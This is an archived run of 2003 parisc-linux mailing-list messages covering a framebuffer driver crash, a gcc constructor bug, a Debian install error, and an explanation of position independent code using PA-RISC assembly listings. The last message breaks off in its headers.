From - Thu Nov 08 21:27:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arjen Hommersom <arjenh@chello.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sstfb crash
Date: Sat, 26 Apr 2003 20:14:31 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <200304262014.31828.arjenh@chello.nl>
References: <200304251408.39242.arjenh@chello.nl> <200304251813.33948.arjenh@chello.nl> <3EA97C37.5010403@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622412 24944 80.91.229.3 (22 Nov 2014 02:13:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 26 13:17:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from amsfep13-int.chello.nl (amsfep13-int.chello.nl [213.46.243.24])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0772C484A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 26 Apr 2003 13:17:56 -0600 (MDT)
Original-Received: from gatekeeper ([213.46.122.180]) by amsfep13-int.chello.nl
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with ESMTP
          id <20030426191754.PIPH6867.amsfep13-int.chello.nl@gatekeeper>
          for <parisc-linux@lists.parisc-linux.org>;
          Sat, 26 Apr 2003 21:17:54 +0200
Original-Received: from laptop ([10.0.3.2] ident=arjen)
	by gatekeeper with esmtp (Exim 3.35 #1 (Debian))
	id 199VHL-00047Q-00
	for <parisc-linux@lists.parisc-linux.org>; Sat, 26 Apr 2003 21:24:07 +0200
User-Agent: KMail/1.5.1
In-Reply-To: <3EA97C37.5010403@tiscali.be>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18339

On Friday 25 April 2003 20:19, Joel Soete wrote:

> >IAOQ = 10135394
> >Func: kfree, Off: 34, Addr: 0x10135394
>
> here is the kernel function which made panic kernel. (why? we need
> expert help)
>

It seems that the crash occurs at this code piece (line 902 of sstfb.c):

        if (old_bpp != var->bits_per_pixel) {
            if ((err = fb_alloc_cmap(&display->cmap, 0, 0)))
                return err;
            sstfb_install_cmap(con, info);
        }

old_bpp is some strange value (seems random, nothing realistic) and is not 
equal to var->bits_per_pixel (16 in my case). The fb_alloc_cmap is called to 
free the old colormap and that seems to be impossible. Commenting out that 
call and setting the monitor type to 1024x768 makes it work most of the 
times. 

Any suggestions for a correct fix are appreciated.

Arjen Hommersom


From - Thu Nov 08 21:27:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Program counter from sigcontext, constructors
Date: Sat, 26 Apr 2003 17:24:42 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20030426212442.GB14330@systemhalted>
References: <20030426160829.GE8269@systemhalted> <200304261733.h3QHXo9P001332@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622412 24947 80.91.229.3 (22 Nov 2014 02:13:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:32 +0000 (UTC)
Cc: hans_boehm@hp.com, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 26 15:23:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep04-mail.bloor.is.net.cable.rogers.com (fep04-mail.bloor.is.net.cable.rogers.com [66.185.86.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7BF324852
	for <parisc-linux@lists.parisc-linux.org>; Sat, 26 Apr 2003 15:23:52 -0600 (MDT)
Original-Received: from systemhalted ([24.112.227.68])
          by fep04-mail.bloor.is.net.cable.rogers.com
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20030426212349.KIDW15029.fep04-mail.bloor.is.net.cable.rogers.com@systemhalted>;
          Sat, 26 Apr 2003 17:23:49 -0400
Content-Disposition: inline
In-Reply-To: <200304261733.h3QHXo9P001332@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (17% Sync Ratio [==........])
User-Agent: Mutt/1.5.4i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at fep04-mail.bloor.is.net.cable.rogers.com from [24.112.227.68] using ID <patofiero@rogers.com> at Sat, 26 Apr 2003 17:23:49 -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18340

> This is a bug in 3.0.4.  If you look at the assembler output for the
> testcase, you will see the following:
> 
> 	.section	.ctors,"aw"
> 	.long	my_start
> 
> This is incorrect.  The code should be:
> 
> 	.section	.ctors,"aw",@progbits
> 	.align	4
> 	.word	P%my_start
> 
> Using a plabel constructor causes $$dyncall to correctly load the
> pic register for the call to my_start.  This is necessary because
> the startup file crtbegin.o is not compiled as pic code and the
> code in __do_global_ctors_aux clobbers the pic register.

Good catch. I hadn't bothered looking at the .S!
Again the recommendation is going to be "Use a newer gcc" :)

c.


From - Thu Nov 08 21:27:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Program counter from sigcontext, constructors
Date: Sat, 26 Apr 2003 20:28:22 -0400 (EDT)
Lines: 11
Approved: news@gmane.org
Message-ID: <200304270028.h3R0SM1v014466@hiauly1.hia.nrc.ca>
References: <20030426212442.GB14330@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622412 24949 80.91.229.3 (22 Nov 2014 02:13:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:32 +0000 (UTC)
Cc: hans_boehm@hp.com, parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 26 18:28:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 155A64858
	for <parisc-linux@lists.parisc-linux.org>; Sat, 26 Apr 2003 18:28:26 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h3R0SNK1014467;
	Sat, 26 Apr 2003 20:28:23 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h3R0SM1v014466;
	Sat, 26 Apr 2003 20:28:22 -0400 (EDT)
In-Reply-To: <20030426212442.GB14330@systemhalted> from "Carlos O'Donell" at Apr 26, 2003 05:24:42 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18341

> Good catch. I hadn't bothered looking at the .S!
> Again the recommendation is going to be "Use a newer gcc" :)

I should have mentioned that the problem is fixed in all the gcc versions
that I originally tried.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?J=F6rg_Benndorf?= <joerg.benndorf@t-online.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cannot install (shellutils)
Date: Sun, 27 Apr 2003 17:11:17 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <002501c30ccf$478f8ee0$fe78a8c0@JOERGSPRINTER>
Reply-To: =?iso-8859-1?Q?J=F6rg_Benndorf?= <joerg.benndorf@t-online.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0022_01C30CE0.04166510"
X-Trace: ger.gmane.org 1416622413 24952 80.91.229.3 (22 Nov 2014 02:13:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:33 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 27 09:06:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout06.sul.t-online.com (mailout06.sul.t-online.com [194.25.134.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5269A482D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 27 Apr 2003 09:06:35 -0600 (MDT)
Original-Received: from fwd00.sul.t-online.de 
	by mailout06.sul.t-online.com with smtp 
	id 199njc-0006Ek-00; Sun, 27 Apr 2003 17:06:32 +0200
Original-Received: from JOERGSPRINTER (320081964826-0001@[217.227.153.87]) by fmrl00.sul.t-online.com
	with smtp id 199njL-1DBE1oC; Sun, 27 Apr 2003 17:06:15 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-Sender: 320081964826-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18342

This is a multi-part message in MIME format.

------=_NextPart_000_0022_01C30CE0.04166510
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

When installing debian on a hp-9000 712/80 the below warning shows up:

"file:/instmnt/pool/main/s/shellutils/shellutils_2.0.11-11_hppa.deb was =
corrupt" <continue>
"Couldn't download shellutils" <continue>
"The previous attempt to install the base system failed. Please select =
"Next" to retry installation of the base system."

I got the install cd by downloading the iso image using jigdo.
I have tried version 3.0r0, 3.0r1 and 3.0r1NON-US but none of them works =
- always the same error message.

Any hints ?


------=_NextPart_000_0022_01C30CE0.04166510
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3315.2870" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>When installing debian on a hp-9000 =
712/80 the=20
below warning shows up:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial=20
size=3D2>"file:/instmnt/pool/main/s/shellutils/shellutils_2.0.11-11_hppa.=
deb was=20
corrupt" &lt;continue&gt;</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>"Couldn't download shellutils"=20
&lt;continue&gt;</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>"The previous attempt to install the =
base system=20
failed. Please select "Next" to retry installation of the base=20
system."</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I got the install cd by downloading the =
iso image=20
using jigdo.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I have tried version 3.0r0, 3.0r1 and =
3.0r1NON-US=20
but none of them works - always the same error message.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Any hints ?</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0022_01C30CE0.04166510--




From - Thu Nov 08 21:27:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Gabert <pappy@nikita.ath.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] -fPIC position independent code on parisc
Date: Sun, 27 Apr 2003 22:04:18 +0200
Lines: 103
Approved: news@gmane.org
Message-ID: <20030427200418.GA30929@nikita.ath.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622413 24956 80.91.229.3 (22 Nov 2014 02:13:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:33 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 27 14:02:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailout04.sul.t-online.com (mailout04.sul.t-online.com [194.25.134.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id C6A1B4838
	for <parisc-linux@parisc-linux.org>; Sun, 27 Apr 2003 14:02:41 -0600 (MDT)
Original-Received: from fwd01.sul.t-online.de 
	by mailout04.sul.t-online.com with smtp 
	id 199sMC-0003fJ-04; Sun, 27 Apr 2003 22:02:40 +0200
Original-Received: from nikita.ath.cx (510056047278-0001@[217.89.12.195]) by fmrl01.sul.t-online.com
	with esmtp id 199sM0-15nvhAC; Sun, 27 Apr 2003 22:02:28 +0200
Original-Received: from nikita.ath.cx (localhost [127.0.0.1])
	by nikita.ath.cx (8.12.3/8.12.3/Debian-5) with ESMTP id h3RK4KkS030959
	for <parisc-linux@parisc-linux.org>; Sun, 27 Apr 2003 22:04:21 +0200
Original-Received: (from pappy@localhost)
	by nikita.ath.cx (8.12.3/8.12.3/Debian-5) id h3RK4JQ8030957
	for parisc-linux@parisc-linux.org; Sun, 27 Apr 2003 22:04:19 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Sender: 510056047278-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18343

hi,

can someone explain the difference between "normal" and "-fPIC"?

i have compiled a test program:

#include <stdio.h>

int main(void) {
        printf("hello\n");
        return(0);
}

first one without -fPIC
gcc -S hello.c

     1          .LEVEL 1.1
     2          .section        .rodata
     3          .align 4
     4  .LC0:
     5  .stringz"hello\n"
     6          .text
     7          .align 4
     8  .globl main
     9                  .type            main,@function
    10  main:
    11          .PROC
    12          .CALLINFO FRAME=64,CALLS,SAVE_RP,SAVE_SP,ENTRY_GR=3
    13          .ENTRY
    14          stw %r2,-20(%r30)
    15          copy %r3,%r1
    16          copy %r30,%r3
    17          stwm %r1,64(%r30)
    18          ldil LR'.LC0,%r19
    19          ldo RR'.LC0(%r19),%r26
    20          bl printf,%r2
    21          nop
    22          ldi 0,%r28
    23          ldw -20(%r3),%r2
    24          ldo 64(%r3),%r30
    25          ldwm -64(%r30),%r3
    26          bv,n %r0(%r2)
    27          .EXIT
    28          .PROCEND
    29  .Lfe1:
    30          .size   main,.Lfe1-main
    31          .ident  "GCC: (GNU) 3.0.4"

second one with -fPIC
gcc -S -fPIC hello_fPIC.c

     1          .LEVEL 1.1
     2          .section        .rodata
     3          .align 4
     4  .LC0:
     5  .stringz"hello\n"
     6          .text
     7          .align 4
     8  .globl main
     9                  .type            main,@function
    10  main:
    11          .PROC
    12          .CALLINFO FRAME=64,CALLS,SAVE_RP,SAVE_SP,ENTRY_GR=4
    13          .ENTRY
    14          stw %r2,-20(%r30)
    15          copy %r3,%r1
    16          copy %r30,%r3
    17          stwm %r1,64(%r30)
    18          stw %r4,8(%r3)
    19          stw %r19,-32(%r30)
    20          copy %r19,%r4
    21          addil LT'.LC0,%r19
    22          ldw RT'.LC0(%r1),%r1
    23          copy %r1,%r26
    24          bl printf,%r2
    25          nop
    26          copy %r4,%r19
    27          ldi 0,%r28
    28          ldw -20(%r3),%r2
    29          ldw 8(%r3),%r4
    30          ldo 64(%r3),%r30
    31          ldwm -64(%r30),%r3
    32          bv,n %r0(%r2)
    33          .EXIT
    34          .PROCEND
    35  .Lfe1:
    36          .size   main,.Lfe1-main
    37          .ident  "GCC: (GNU) 3.0.4"

i know that it is needed for shared libraries...
but what exactly is position independent code?

gcc is version 3.0.4
glibc is version 2.2.5


thanks in advance,

Alex
--
pub  1024/05E1A80C 2001/12/16 Alexander Gabert (http://nikita.ath.cx) <pappy@nikita.ath.cx>
          Key fingerprint =  2D 84 B0 CB F5 67 8A 22  8D 37 6E 6B 8A 3B 7F D6  05 E1 A8 0C


From - Thu Nov 08 21:27:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -fPIC position independent code on parisc
Date: Sun, 27 Apr 2003 13:12:19 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <20030427201219.GE25257@tausq.org>
References: <20030427200418.GA30929@nikita.ath.cx>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622413 24960 80.91.229.3 (22 Nov 2014 02:13:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:33 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Alexander Gabert <pappy@nikita.ath.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 27 15:04:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 58D534860
	for <parisc-linux@parisc-linux.org>; Sun, 27 Apr 2003 15:04:56 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 1FEDCCD295; Sun, 27 Apr 2003 13:12:19 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20030427200418.GA30929@nikita.ath.cx>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18344

> but what exactly is position independent code?

it's exactly what it says, it will work no matter at what position
the code is loaded.

e.g.:

non-PIC
>     18          ldil LR'.LC0,%r19
>     19          ldo RR'.LC0(%r19),%r26
>     20          bl printf,%r2

This loads the address of .LC0 (your string) relative to a fixed address
into r26 (arg0). The address is resolved statically at link time, so
if the code is moved to a different starting address, the address will 
be wrong.

PIC:
>     21          addil LT'.LC0,%r19
>     22          ldw RT'.LC0(%r1),%r1
>     23          copy %r1,%r26
>     24          bl printf,%r2

This calculates the offset of .LC0 relative to the linkage table pointer
(r19) by creating a GOT entry. The linkage table pointer is assigned 
value at runtime based on where the dynamic loader loads the code into 
memory, so the load will always point to the the right place wherever 
it is loaded. 

When you have a shared library, different programs that are linked
against the library may load it at different offsets, so the code must 
be position independent for it to work.

HTH
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -fPIC position independent code on parisc
Date: Sun, 27 Apr 2003 15:34:55 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20030427223455.GF25257@tausq.org>
References: <20030427200418.GA30929@nikita.ath.cx> <20030427201219.GE25257@tausq.org> <20030427231210.GA31520@nikita.ath.cx>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622414 24961 80.91.229.3 (22 Nov 2014 02:13:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alexander Gabert <pappy@nikita.ath.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 27 17:28:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 69512485E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 27 Apr 2003 17:28:35 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 8BE0FCD295; Sun, 27 Apr 2003 15:34:55 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20030427231210.GA31520@nikita.ath.cx>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18345

(Please reply on list and not via private mail)

> i do not understand the "LR'" syntax
[etc]

Try
http://docs.hp.com/cgi-bin/onlinedocs.py?mpn=92432-90012&service=hpux&path=00/00/19&title=HP%20Assembler%20Reference%20Manual

> it has been linked already, how do i find out, where it is resolved?

After you link an application, you can disassmble the executable.

> but what with those LR' RR' LT' RT'

They are all part of the assembler operators for field selection.

> linkage table pointer?
> what is this? (i am new)

There are several documents that describe the PA runtime linked on the
parisc-linux website. You might want to check them out. The ELF
specification, together with the related architecture supplements, 
describe how relocations work.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] cannot install (shellutils)
Date: Mon, 28 Apr 2003 14:40:40 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <3EA9466400000C36@ocpmta7.freegates.net>
References: <002501c30ccf$478f8ee0$fe78a8c0@JOERGSPRINTER>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622414 24965 80.91.229.3 (22 Nov 2014 02:13:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:34 +0000 (UTC)
To: =?ISO-8859-1?Q?J=F6rg=20Benndorf?= <joerg.benndorf@t-online.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 28 06:40:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (unknown [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 40DCE482C
